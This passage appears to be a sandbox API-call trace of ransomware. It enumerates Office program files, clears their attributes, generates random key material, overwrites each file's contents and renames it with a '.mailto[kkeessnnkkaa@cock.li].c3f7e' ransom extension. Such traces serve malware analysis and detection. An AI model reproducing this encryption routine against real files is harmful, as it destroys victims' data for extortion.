	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-runtime-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-runtime-l1-1-0.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-stdio-l1-1-0.dll", _String2=".") returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-stdio-l1-1-0.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-string-l1-1-0.dll", _String2=".") returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-string-l1-1-0.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34d6ecb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf34d6ecb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3b3f424, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-time-l1-1-0.dll", _String2=".") returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-time-l1-1-0.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-utility-l1-1-0.dll", _String2=".") returned 1
	[0081.989] wcscmp (_String1="api-ms-win-crt-utility-l1-1-0.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1
	[0081.989] wcscmp (_String1="AppVFileSystemMetadata.dll", _String2=".") returned 1
	[0081.989] wcscmp (_String1="AppVFileSystemMetadata.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1
	[0081.989] wcscmp (_String1="AppVManifest.dll", _String2=".") returned 1
	[0081.989] wcscmp (_String1="AppVManifest.dll", _String2="..") returned 1
	[0081.989] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOpcServices.dll", cAlternateFileName="APPVOP~1.DLL")) returned 1
	[0081.990] wcscmp (_String1="AppVOpcServices.dll", _String2=".") returned 1
	[0081.990] wcscmp (_String1="AppVOpcServices.dll", _String2="..") returned 1
	[0081.990] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOpcServices.dll.manifest", cAlternateFileName="APPVOP~1.MAN")) returned 1
	[0081.990] wcscmp (_String1="AppVOpcServices.dll.manifest", _String2=".") returned 1
	[0081.990] wcscmp (_String1="AppVOpcServices.dll.manifest", _String2="..") returned 1
	[0081.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986908
	[0081.990] wcscpy (in: _Dest=0x4986908, _Source="C:\\Program Files\\Microsoft Office\\root\\Flattener" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener"
	[0081.990] wcscat (in: _Dest=0x4986908, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener\\") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener\\"
	[0081.990] wcscat (in: _Dest=0x4986908, _Source="AppVOpcServices.dll.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest"
	[0091.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 0x220
	[0091.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest", dwFileAttributes=0x20) returned 1
	[0091.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8
	[0091.684] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x1833fb78 | out: lpFileSize=0x1833fb78*=545) returned 1
	[0091.684] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x21d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.684] ReadFile (in: hFile=0x14b8, lpBuffer=0x1833fafc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1833faf8, lpOverlapped=0x0 | out: lpBuffer=0x1833fafc*, lpNumberOfBytesRead=0x1833faf8*=0x4, lpOverlapped=0x0) returned 1
	[0091.685] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0091.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0091.685] NtQuerySystemTime (in: CurrentTime=0x1833fad8 | out: CurrentTime=0x1833fad8*=132251868184158642) returned 0x0
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xdaa7207d
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x248721ba
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xaa71d7c8
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x3b1ad833
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x17939517
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x7118d687
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x7de2886c
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xc9fbb1ca
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xcc1a7780
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x284314c9
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x706cb80c
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x4ed18995
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x489451f6
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x84c8c84e
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xe7e88c97
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x804efccc
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x4c926743
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xf671dfd9
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x7e3207ff
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x11c32454
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xb4e51f49
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x7e5d257e
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x6b4f1adc
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x664d21e0
	[0091.685] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x4c1ad75d
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xb5424b43
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x8ba91baf
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x33098e11
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x4b168542
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xc83f8830
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0xe1c5a01a
	[0091.686] RtlRandom (in: Seed=0x1833fae4 | out: Seed=0x1833fae4) returned 0x10c38978
	[0091.694] ReadFile (in: hFile=0x14b8, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x221, lpNumberOfBytesRead=0x1833fad4, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x1833fad4*=0x221, lpOverlapped=0x0) returned 1
	[0091.694] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.694] WriteFile (in: hFile=0x14b8, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x221, lpNumberOfBytesWritten=0x1833fad0, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x1833fad0*=0x221, lpOverlapped=0x0) returned 1
	[0091.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0091.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa898) returned 1
	[0091.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x2e01a30
	[0091.697] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.697] WriteFile (in: hFile=0x14b8, lpBuffer=0x4ebcc70*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x1833fb38, lpOverlapped=0x0 | out: lpBuffer=0x4ebcc70*, lpNumberOfBytesWritten=0x1833fb38*=0x129, lpOverlapped=0x0) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcc70) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01ad0) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01a30) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0091.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e618
	[0091.703] wcscpy (in: _Dest=0x491e618, _Source="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest"
	[0091.703] wcscat (in: _Dest=0x491e618, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.703] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1833faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4776a60
	[0091.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776a60) returned 1
	[0091.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0091.704] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x1833fafc, FileInformation=0x1833fad4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1833fafc, FileInformation=0x1833fad4) returned 0x0
	[0091.704] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x1833fafc, FileInformation=0x1833fad4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e618) returned 1
	[0091.705] FlushFileBuffers (hFile=0x14b8) returned 1
	[0093.275] CloseHandle (hObject=0x14b8) 

Thread:
	id = 642
	os_tid = 0x1934

	[0078.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47800f8
	[0078.161] wcscpy (in: _Dest=0x47800f8, _Source="C:\\Program Files\\Microsoft Office\\root\\fre" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre") returned="C:\\Program Files\\Microsoft Office\\root\\fre"
	[0078.161] wcscat (in: _Dest=0x47800f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre\\") returned="C:\\Program Files\\Microsoft Office\\root\\fre\\"
	[0078.161] wcscat (in: _Dest=0x47800f8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre\\*") returned="C:\\Program Files\\Microsoft Office\\root\\fre\\*"
	[0078.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475ae48
	[0078.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x475ae48 | out: lpFindFileData=0x475ae48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacf38
	[0081.981] wcscmp (_String1=".", _String2=".") returned 0
	[0081.981] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x475ae48 | out: lpFindFileData=0x475ae48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.981] wcscmp (_String1="..", _String2=".") returned 1
	[0081.981] wcscmp (_String1="..", _String2="..") returned 0
	[0081.981] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x475ae48 | out: lpFindFileData=0x475ae48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1158e0a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1158e0a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e8fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartMenu_Win10.mp4", cAlternateFileName="STARTM~2.MP4")) returned 1
	[0081.981] wcscmp (_String1="StartMenu_Win10.mp4", _String2=".") returned 1
	[0081.981] wcscmp (_String1="StartMenu_Win10.mp4", _String2="..") returned 1
	[0081.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498d2c8
	[0081.981] wcscpy (in: _Dest=0x498d2c8, _Source="C:\\Program Files\\Microsoft Office\\root\\fre" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre") returned="C:\\Program Files\\Microsoft Office\\root\\fre"
	[0081.981] wcscat (in: _Dest=0x498d2c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre\\") returned="C:\\Program Files\\Microsoft Office\\root\\fre\\"
	[0081.981] wcscat (in: _Dest=0x498d2c8, _Source="StartMenu_Win10.mp4" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4") returned="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4"
	[0091.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4")) returned 0x220
	[0091.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4", dwFileAttributes=0x20) returned 1
	[0091.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0
	[0091.720] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x183bf7dc | out: lpFileSize=0x183bf7dc*=125179) returned 1
	[0091.720] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x1e8f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.720] ReadFile (in: hFile=0x14c0, lpBuffer=0x183bf760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x183bf75c, lpOverlapped=0x0 | out: lpBuffer=0x183bf760*, lpNumberOfBytesRead=0x183bf75c*=0x4, lpOverlapped=0x0) returned 1
	[0091.725] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.725] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.725] NtQuerySystemTime (in: CurrentTime=0x183bf73c | out: CurrentTime=0x183bf73c*=132251868184627380) returned 0x0
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xcb6c6196
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x3c734d3c
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x2606c26
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xe2977e0c
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x25a071cd
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xd55bb0db
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x4dc1c18
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xaff3d968
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xcdfad432
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x4e540943
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x9e57adf0
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x2878b341
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x42a7ab14
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x6f2ac2fd
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x76576fed
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xcaad393f
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x41abfe06
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x92d103b6
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x149dd881
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xacaf8e5b
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x1c6da150
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xbf030a00
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x7ec4cd26
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xc31bd56e
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x86da6812
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x1cf8331
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x4b787973
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x477702d8
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x315c0ff9
	[0091.725] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0x5f65bf0f
	[0091.726] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xb0f34bfe
	[0091.726] RtlRandom (in: Seed=0x183bf748 | out: Seed=0x183bf748) returned 0xc56d79ad
	[0091.734] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.734] ReadFile (in: hFile=0x14c0, lpBuffer=0x50a4888, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x183bf71c, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x183bf71c*=0xc800, lpOverlapped=0x0) returned 1
	[0091.758] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfab68
